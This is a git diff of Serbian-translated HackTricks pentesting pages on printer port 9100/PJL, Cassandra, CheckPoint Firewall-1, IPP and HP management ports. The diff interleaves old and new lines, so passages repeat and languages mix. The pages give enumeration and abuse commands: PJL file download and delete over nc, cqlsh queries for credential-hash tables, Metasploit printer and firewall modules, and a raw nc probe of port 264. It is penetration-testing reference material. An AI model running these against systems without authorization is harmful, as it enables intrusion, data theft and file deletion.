<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# Osnovne informacije
Sa [ovog](http://hacking-printers.net/wiki/index.php/Port\_9100\_printing) mesta: Sirovi ispis je ono što definišemo kao proces uspostavljanja veze sa portom 9100/tcp mrežnog štampača. To je podrazumevani metod koji koristi CUPS i Windows arhitektura štampanja za komunikaciju sa mrežnim štampačima, jer se smatra "najjednostavnijim, najbržim i generalno najpouzdanijim mrežnim protokolom koji se koristi za štampače". Sirovi port 9100 štampanje, takođe poznato kao JetDirect, AppSocket ili PDL-datastream, zapravo **nije sam po sebi protokol za štampanje**. Umesto toga, **svi poslati podaci se direktno obrađuju od strane štampačkog uređaja**, baš kao i paralelna veza preko TCP-a. Za razliku od LPD, IPP i SMB, ovo može slati direktnu povratnu informaciju klijentu, uključujući statusne i grešne poruke. Takav **dvosmerni kanal** nam omogućava direktni **pristup** rezultatima **PJL**, **PostScript** ili **PCL** komandi. Zbog toga se sirovo port 9100 štampanje - koje podržava skoro svaki mrežni štampač - koristi kao kanal za bezbednosnu analizu sa PRET i PFT.
Sa [ovde](http://hacking-printers.net/wiki/index.php/Port\_9100\_printing): Raw štampanje je ono što definišemo kao proces uspostavljanja veze sa portom 9100/tcp mrežnog štampača. To je podrazumevani metod koji koriste CUPS i Windows arhitektura štampanja za komunikaciju sa mrežnim štampačima, jer se smatra _najjednostavnijim, najbržim i generalno najpouzdanijim mrežnim protokolom koji se koristi za štampače_. Raw port 9100 štampanje, takođe poznato kao JetDirect, AppSocket ili PDL-datastream zapravo **nije protokol za štampanje sam po sebi**. Umesto toga, **svi podaci koji se šalju direktno se obrađuju od strane štampačkog uređaja**, baš kao paralelna veza preko TCP-a. U poređenju sa LPD, IPP i SMB, ovo može slati direktne povratne informacije klijentu, uključujući status i poruke o greškama. Takav **dvosmerni kanal** nam daje direktan **pristup** **rezultatima** **PJL**, **PostScript** ili **PCL** komandi. Stoga, raw port 9100 štampanje koje podržava gotovo svaki mrežni štampač se koristi kao kanal za analizu bezbednosti sa PRET i PFT.
Ako želite da saznate više o [**hakovanju štampača pročitajte ovu stranicu**](http://hacking-printers.net/wiki/index.php/Main_Page).
@ -25,7 +26,7 @@ Ako želite da saznate više o [**hakovanju štampača pročitajte ovu stranicu*
```
# Enumeracija
## Ručna
## Ručno
```bash
nc -vn <IP> 9100
@PJL INFO STATUS #CODE=40000 DISPLAY="Sleep" ONLINE=TRUE
@ -42,15 +43,7 @@ nc -vn <IP> 9100
@PJL FSDOWNLOAD #Useful to download a file
@PJL FSDELETE #Useful to delete a file
```
## Automatsko
Automatsko otkrivanje uređaja koji koriste PJL (Printer Job Language) može biti korisno prilikom testiranja sigurnosti mrežnih usluga. PJL je jezik koji se koristi za upravljanje štampačima i omogućava izvršavanje različitih funkcija, kao što su ispisivanje konfiguracijskih informacija ili izvršavanje skripti.
Da biste automatski otkrili uređaje koji koriste PJL, možete koristiti alat poput `pjl-enum` koji je dostupan u okviru alata za testiranje sigurnosti. Ovaj alat će skenirati mrežu i pokušati pronaći uređaje koji koriste PJL.
Kada se pronađe uređaj koji koristi PJL, možete iskoristiti ranjivosti ili slabosti u implementaciji PJL-a kako biste izvršili napad. Na primer, možete pokušati izvršiti zlonamernu skriptu na uređaju ili pristupiti osetljivim informacijama koje se čuvaju na uređaju.
Važno je napomenuti da je otkrivanje i iskorišćavanje ranjivosti na uređajima koji koriste PJL ilegalno bez odobrenja vlasnika uređaja. Ove tehnike treba primenjivati samo u okviru zakonitog testiranja sigurnosti ili sa odobrenjem vlasnika uređaja.
## Automatski
```bash
nmap -sV --script pjl-ready-message -p <PORT> <IP>
```
@ -67,7 +60,7 @@ msf> use auxiliary/scanner/printer/printer_delete_file
```
## Alat za hakovanje štampača
Ovo je alat koji želite koristiti za zloupotrebu štampača:
Ovo je alat koji želite da koristite za zloupotrebu štampača:
{% embed url="https://github.com/RUB-NDS/PRET" %}
@ -76,16 +69,17 @@ Ovo je alat koji želite koristiti za zloupotrebu štampača:
* `pjl port:9100`
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Podrška HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite videti **oglašavanje vaše kompanije u HackTricks-u** ili **preuzeti HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
{% endhint %}

View file

@ -1,24 +1,25 @@
# 9042/9160 - Pentestiranje Cassandra
# 9042/9160 - Pentesting Cassandra
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Osnovne informacije
## Basic Information
**Apache Cassandra** je **visoko skalabilna**, **visokoperformantna** distribuirana baza podataka dizajnirana za rukovanje **velikim količinama podataka** na mnogo **običnih servera**, pružajući **visoku dostupnost** bez **jedne tačke kvara**. To je vrsta **NoSQL baze podataka**.
**Apache Cassandra** je **visoko skalabilna**, **visokoperformantna** distribuirana baza podataka dizajnirana da upravlja **velikim količinama podataka** na mnogim **običnim serverima**, pružajući **visoku dostupnost** bez **jedne tačke kvara**. To je tip **NoSQL baze podataka**.
U nekoliko slučajeva, može se desiti da Cassandra prihvata **bilo koje akreditive** (jer nisu konfigurisani) i to potencijalno može omogućiti napadaču da **enumeriše** bazu podataka.
U nekoliko slučajeva, možete primetiti da Cassandra prihvata **bilo koje akreditive** (pošto nisu konfigurisani) i to bi potencijalno moglo omogućiti napadaču da **enumeriše** bazu podataka.
**Podrazumevani port:** 9042,9160
```
@ -26,9 +27,9 @@ PORT STATE SERVICE REASON
9042/tcp open cassandra-native Apache Cassandra 3.10 or later (native protocol versions 3/v3, 4/v4, 5/v5-beta)
9160/tcp open cassandra syn-ack
```
## Enumeracija
## Enumeration
### Ručna
### Manual
```bash
pip install cqlsh
cqlsh <IP>
@ -43,9 +44,9 @@ SELECT * from logdb.user_auth; #Can contain credential hashes
SELECT * from logdb.user;
SELECT * from configuration."config";
```
### Automatizovano
### Automated
Ovde nema mnogo opcija i nmap ne dobija mnogo informacija.
Нема много опција овде и nmap не добија много информација.
```bash
nmap -sV --script cassandra-info -p <PORT> <IP>
```
@ -53,19 +54,20 @@ nmap -sV --script cassandra-info -p <PORT> <IP>
### **Shodan**
`port:9160 Klaster`\
`port:9160 Cluster`\
`port:9042 "Nevažeća ili nepodržana verzija protokola"`
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Podržite HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju oglašenu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
{% endhint %}

View file

@ -1,28 +1,31 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
Moguće je komunicirati sa **CheckPoint** **Firewall-1** firewall-ima kako bi se otkrile vredne informacije kao što su ime firewall-a i ime upravljačke stanice. Ovo se može postići slanjem upita na port **264/TCP**.
Moguće je interagovati sa **CheckPoint** **Firewall-1** vatrozidima kako bi se otkrile vredne informacije kao što su ime vatrozida i ime upravljačke stanice. To se može uraditi slanjem upita na port **264/TCP**.
### Dobijanje imena Firewall-a i Upravljačke Stanice
### Dobijanje imena vatrozida i upravljačke stanice
Korišćenjem zahteva pre autentifikacije, možete izvršiti modul koji cilja **CheckPoint Firewall-1**. Neophodne komande za ovu operaciju su detaljno opisane u nastavku:
Koristeći zahtev pre autentifikacije, možete izvršiti modul koji cilja **CheckPoint Firewall-1**. Neophodne komande za ovu operaciju su navedene u nastavku:
```bash
use auxiliary/gather/checkpoint_hostname
set RHOST 10.10.10.10
```
Po izvršavanju, modul pokušava da kontaktira uslugu SecuRemote Topology na firewall-u. Ako uspe, potvrđuje prisustvo CheckPoint Firewall-a i dobavlja imena firewall-a i SmartCenter upravljačkog hosta. Evo primera kako bi izgledao izlaz:
Upon execution, the module attempts to contact the firewall's SecuRemote Topology service. If successful, it confirms the presence of a CheckPoint Firewall and retrieves the names of both the firewall and the SmartCenter management host. Here's an example of what the output might look like:
При извршавању, модул покушава да контактира SecuRemote Topology сервис ватрозида. Уколико буде успешан, потврђује присуство CheckPoint ватрозида и преузима имена и ватрозида и SmartCenter управљачког хоста. Ево примера како би излаз могао изгледати:
```text
[*] Attempting to contact Checkpoint FW1 SecuRemote Topology service...
[+] Appears to be a CheckPoint Firewall...
@ -30,13 +33,13 @@ Po izvršavanju, modul pokušava da kontaktira uslugu SecuRemote Topology na fir
[+] SmartCenter Host: FIREFIGHTER-MGMT.example.com
[*] Auxiliary module execution completed
```
### Alternativna metoda za otkrivanje imena hosta i ICA imena
### Alternative Method for Hostname and ICA Name Discovery
Još jedna tehnika uključuje direktnu komandu koja šalje određeni upit firewallu i parsira odgovor kako bi izvukla ime hosta i ICA ime firewalla. Komanda i njena struktura su kako slijedi:
Druga tehnika uključuje direktnu komandu koja šalje specifično upitivanje vatrozidu i analizira odgovor kako bi izvukla ime vatrozida i ICA ime. Komanda i njena struktura su sledeće:
```bash
printf '\x51\x00\x00\x00\x00\x00\x00\x21\x00\x00\x00\x0bsecuremote\x00' | nc -q 1 10.10.10.10 264 | grep -a CN | cut -c 2-
```
Izlaz iz ovog komande pruža detaljne informacije o imenu (CN) i organizaciji (O) sertifikata firewall-a, kao što je prikazano ispod:
Izlaz iz ove komande pruža detaljne informacije o imenu sertifikata vatrozida (CN) i organizaciji (O), kao što je prikazano u nastavku:
```text
CN=Panama,O=MGMTT.srv.rxfrmi
```
@ -47,16 +50,17 @@ CN=Panama,O=MGMTT.srv.rxfrmi
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Podržite HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju oglašenu u HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
{% endhint %}

View file

@ -1,25 +1,26 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# Internet Printing Protocol \(IPP\)
**Internet Printing Protocol (IPP)**, kako je definisano u **RFC2910** i **RFC2911**, služi kao osnova za štampanje preko interneta. Njegova sposobnost za proširenje je prikazana razvojem kao što je **IPP Everywhere**, koji ima za cilj standardizaciju mobilnog i cloud štampanja, kao i uvođenje proširenja za **3D štampanje**.
**Internet Printing Protocol (IPP)**, kako je specificirano u **RFC2910** i **RFC2911**, služi kao osnova za štampanje preko interneta. Njegova sposobnost da se proširi prikazana je razvojem kao što je **IPP Everywhere**, koji ima za cilj da standardizuje mobilno i cloud štampanje, kao i uvođenje ekstenzija za **3D štampanje**.
Iskorišćavanjem **HTTP** protokola, IPP koristi uspostavljene sigurnosne prakse, uključujući **osnovnu/digest autentifikaciju** i **SSL/TLS enkripciju**. Radnje poput slanja posla za štampanje ili upita o statusu štampača se obavljaju putem **HTTP POST zahteva** upućenih IPP serveru, koji radi na **portu 631/tcp**.
Iskorišćavajući **HTTP** protokol, IPP koristi uspostavljene sigurnosne prakse uključujući **basic/digest authentication** i **SSL/TLS encryption**. Akcije kao što su slanje štampanja ili upit o statusu štampača vrše se putem **HTTP POST zahteva** usmerenih ka IPP serveru, koji radi na **portu 631/tcp**.
Dobro poznata implementacija IPP-a je **CUPS**, otvoreni sistem za štampanje koji je prisutan na raznim Linux distribucijama i OS X. Uprkos svojoj korisnosti, IPP, slično kao i LPD, može biti iskorišćen za prenos zlonamernog sadržaja putem **PostScript** ili **PJL fajlova**, što ukazuje na potencijalni sigurnosni rizik.
Poznata implementacija IPP-a je **CUPS**, open-source sistem za štampanje prisutan u raznim Linux distribucijama i OS X. I pored svoje korisnosti, IPP, slično LPD-u, može biti iskorišćen za prenos malicioznog sadržaja putem **PostScript** ili **PJL datoteka**, što ističe potencijalni sigurnosni rizik.
```python
# Example of sending an IPP request using Python
import requests
@ -33,18 +34,17 @@ print(response.status_code)
```
Ako želite da saznate više o [**hakovanju štampača pročitajte ovu stranicu**](http://hacking-printers.net/wiki/index.php/Main_Page).
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Podržite HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju oglašenu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje trikove hakovanja slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
{% endhint %}

View file

@ -1,16 +1,17 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Podrazumevani port:** 2301,2381
@ -19,7 +20,7 @@ Drugi načini podrške HackTricks-u:
{% embed url="http://www.vulnerabilityassessment.co.uk/passwordsC.htm" %}
# Konfiguracioni fajlovi
# Konfiguracione datoteke
```text
path.properties
mx.log
@ -29,16 +30,17 @@ pg_hba.conf
jboss-service.xml
.namazurc
